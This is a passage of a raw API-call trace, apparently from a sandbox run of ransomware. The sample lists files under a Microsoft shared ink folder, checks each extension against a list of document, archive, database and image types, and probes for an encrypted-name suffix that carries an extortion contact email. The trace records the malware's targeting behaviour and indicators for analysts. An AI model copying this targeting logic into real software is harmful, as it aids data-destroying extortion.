[0224.372] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.372] lstrlenW (lpString=".doc") returned 4 [0224.372] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.372] lstrlenW (lpString=".docx") returned 5 [0224.372] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0224.372] lstrlenW (lpString=".pdf") returned 4 [0224.372] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.372] lstrlenW (lpString=".xls") returned 4 [0224.372] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.372] lstrlenW (lpString=".xlsx") returned 5 [0224.372] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0224.372] lstrlenW (lpString=".ppt") returned 4 [0224.372] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.372] lstrlenW (lpString=".zip") returned 4 [0224.372] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.372] lstrlenW (lpString=".rar") returned 4 [0224.372] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.372] lstrlenW (lpString=".bz2") returned 4 [0224.373] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.373] lstrlenW (lpString=".7z") returned 3 [0224.373] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.373] lstrlenW (lpString=".dbf") returned 4 [0224.373] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.373] lstrlenW (lpString=".1cd") returned 4 [0224.373] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.373] lstrlenW (lpString=".jpg") returned 4 [0224.373] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.373] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0224.373] lstrlenW (lpString="boxed-split.avi") returned 15 [0224.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.374] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=84190) returned 1 [0224.374] CloseHandle (hObject=0x3c4) returned 1 [0224.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0224.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0224.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0224.374] lstrlenW (lpString=".doc") returned 4 [0224.374] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.374] lstrlenW (lpString=".docx") returned 5 [0224.374] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0224.374] lstrlenW (lpString=".pdf") returned 4 [0224.374] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.374] lstrlenW (lpString=".xls") returned 4 [0224.375] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.375] lstrlenW (lpString=".xlsx") returned 5 [0224.375] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0224.375] lstrlenW (lpString=".ppt") returned 4 [0224.375] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0224.375] lstrlenW (lpString=".zip") returned 4 [0224.375] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.375] lstrlenW (lpString=".rar") returned 4 [0224.375] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.375] lstrlenW (lpString=".bz2") returned 4 [0224.375] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.375] lstrlenW (lpString=".7z") returned 3 [0224.375] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0224.375] lstrlenW (lpString=".dbf") returned 4 [0224.375] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0224.375] lstrlenW (lpString=".1cd") returned 4 [0224.375] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0224.375] lstrlenW (lpString=".jpg") returned 4 [0224.375] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0224.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0224.375] lstrlenW (lpString=".doc") returned 4 [0224.375] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.375] lstrlenW (lpString=".docx") returned 5 [0224.375] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0224.375] lstrlenW (lpString=".pdf") returned 4 [0224.376] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.376] lstrlenW (lpString=".xls") returned 4 [0224.376] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.376] lstrlenW (lpString=".xlsx") returned 5 [0224.376] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0224.376] lstrlenW (lpString=".ppt") returned 4 [0224.376] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0224.376] lstrlenW (lpString=".zip") returned 4 [0224.376] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.376] lstrlenW (lpString=".rar") returned 4 [0224.376] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.376] lstrlenW (lpString=".bz2") returned 4 [0224.376] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.376] lstrlenW (lpString=".7z") returned 3 [0224.376] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0224.376] lstrlenW (lpString=".dbf") returned 4 [0224.376] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0224.376] lstrlenW (lpString=".1cd") returned 4 [0224.376] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0224.376] lstrlenW (lpString=".jpg") returned 4 [0224.376] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.376] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0224.376] lstrlenW (lpString="correct.avi") returned 11 [0224.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.379] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=180172) returned 1 [0224.380] CloseHandle (hObject=0x3c4) returned 1 [0224.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0224.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0224.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0224.380] lstrlenW (lpString=".doc") returned 4 [0224.380] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.380] lstrlenW (lpString=".docx") returned 5 [0224.380] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0224.380] lstrlenW (lpString=".pdf") returned 4 [0224.380] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.380] lstrlenW (lpString=".xls") returned 4 [0224.380] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.380] lstrlenW (lpString=".xlsx") returned 5 [0224.380] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0224.380] lstrlenW (lpString=".ppt") returned 4 [0224.380] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0224.381] lstrlenW (lpString=".zip") returned 4 [0224.381] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.381] lstrlenW (lpString=".rar") returned 4 [0224.381] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.381] lstrlenW (lpString=".bz2") returned 4 [0224.381] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.381] lstrlenW (lpString=".7z") returned 3 [0224.381] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0224.381] lstrlenW (lpString=".dbf") returned 4 [0224.381] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0224.381] lstrlenW (lpString=".1cd") returned 4 [0224.381] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0224.381] lstrlenW (lpString=".jpg") returned 4 [0224.381] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0224.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0224.381] lstrlenW (lpString=".doc") returned 4 [0224.381] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.381] lstrlenW (lpString=".docx") returned 5 [0224.381] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0224.381] lstrlenW (lpString=".pdf") returned 4 [0224.381] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.381] lstrlenW (lpString=".xls") returned 4 [0224.381] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.382] lstrlenW (lpString=".xlsx") returned 5 [0224.382] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0224.382] lstrlenW (lpString=".ppt") returned 4 [0224.382] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0224.382] lstrlenW (lpString=".zip") returned 4 [0224.382] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.382] lstrlenW (lpString=".rar") returned 4 [0224.382] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.382] lstrlenW (lpString=".bz2") returned 4 [0224.382] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.382] lstrlenW (lpString=".7z") returned 3 [0224.382] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0224.382] lstrlenW (lpString=".dbf") returned 4 [0224.382] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0224.382] lstrlenW (lpString=".1cd") returned 4 [0224.382] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0224.382] lstrlenW (lpString=".jpg") returned 4 [0224.382] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.382] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0224.382] lstrlenW (lpString="join.avi") returned 8 [0224.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.384] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=199994) returned 1 [0224.384] CloseHandle (hObject=0x3c4) returned 1 [0224.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0224.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0224.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0224.393] lstrlenW (lpString=".doc") returned 4 [0224.393] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.393] lstrlenW (lpString=".docx") returned 5 [0224.393] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0224.393] lstrlenW (lpString=".pdf") returned 4 [0224.393] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.393] lstrlenW (lpString=".xls") returned 4 [0224.393] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.393] lstrlenW (lpString=".xlsx") returned 5 [0224.393] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0224.393] lstrlenW (lpString=".ppt") returned 4 [0224.393] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0224.393] lstrlenW (lpString=".zip") returned 4 [0224.393] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.393] lstrlenW (lpString=".rar") returned 4 [0224.393] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.393] lstrlenW (lpString=".bz2") returned 4 [0224.393] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.393] lstrlenW (lpString=".7z") returned 3 [0224.393] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0224.394] lstrlenW (lpString=".dbf") returned 4 [0224.394] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0224.394] lstrlenW (lpString=".1cd") returned 4 [0224.394] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0224.394] lstrlenW (lpString=".jpg") returned 4 [0224.394] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0224.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0224.394] lstrlenW (lpString=".doc") returned 4 [0224.394] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.394] lstrlenW (lpString=".docx") returned 5 [0224.394] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0224.394] lstrlenW (lpString=".pdf") returned 4 [0224.394] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.394] lstrlenW (lpString=".xls") returned 4 [0224.394] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.394] lstrlenW (lpString=".xlsx") returned 5 [0224.394] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0224.394] lstrlenW (lpString=".ppt") returned 4 [0224.394] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0224.394] lstrlenW (lpString=".zip") returned 4 [0224.394] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.394] lstrlenW (lpString=".rar") returned 4 [0224.394] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.394] lstrlenW (lpString=".bz2") returned 4 [0224.395] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.395] lstrlenW (lpString=".7z") returned 3 [0224.395] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0224.395] lstrlenW (lpString=".dbf") returned 4 [0224.395] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0224.395] lstrlenW (lpString=".1cd") returned 4 [0224.395] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0224.395] lstrlenW (lpString=".jpg") returned 4 [0224.395] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.395] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0224.395] lstrlenW (lpString="auxbase.xml") returned 11 [0224.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0224.503] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1434) returned 1 [0224.503] CloseHandle (hObject=0x3d4) returned 1 [0224.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0224.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0224.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0224.504] lstrlenW (lpString=".doc") returned 4 [0224.504] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.504] lstrlenW (lpString=".docx") returned 5 [0224.504] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0224.504] lstrlenW (lpString=".pdf") returned 4 [0224.504] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.504] lstrlenW (lpString=".xls") returned 4 [0224.504] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.504] lstrlenW (lpString=".xlsx") returned 5 [0224.504] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0224.504] lstrlenW (lpString=".ppt") returned 4 [0224.505] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0224.505] lstrlenW (lpString=".zip") returned 4 [0224.505] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.505] lstrlenW (lpString=".rar") returned 4 [0224.505] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.505] lstrlenW (lpString=".bz2") returned 4 [0224.505] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.505] lstrlenW (lpString=".7z") returned 3 [0224.505] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0224.505] lstrlenW (lpString=".dbf") returned 4 [0224.505] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0224.505] lstrlenW (lpString=".1cd") returned 4 [0224.505] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0224.505] lstrlenW (lpString=".jpg") returned 4 [0224.505] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0224.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0224.505] lstrlenW (lpString=".doc") returned 4 [0224.505] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.505] lstrlenW (lpString=".docx") returned 5 [0224.505] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0224.505] lstrlenW (lpString=".pdf") returned 4 [0224.505] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.506] lstrlenW (lpString=".xls") returned 4 [0224.506] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.506] lstrlenW (lpString=".xlsx") returned 5 [0224.506] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0224.506] lstrlenW (lpString=".ppt") returned 4 [0224.506] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0224.506] lstrlenW (lpString=".zip") returned 4 [0224.506] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.506] lstrlenW (lpString=".rar") returned 4 [0224.506] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.506] lstrlenW (lpString=".bz2") returned 4 [0224.506] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.506] lstrlenW (lpString=".7z") returned 3 [0224.506] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0224.506] lstrlenW (lpString=".dbf") returned 4 [0224.506] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0224.506] lstrlenW (lpString=".1cd") returned 4 [0224.506] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0224.506] lstrlenW (lpString=".jpg") returned 4 [0224.506] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.506] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0224.507] lstrlenW (lpString="insert.xml") returned 10 [0224.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0224.511] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=215) returned 1 [0224.511] CloseHandle (hObject=0x3d4) returned 1 [0224.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft 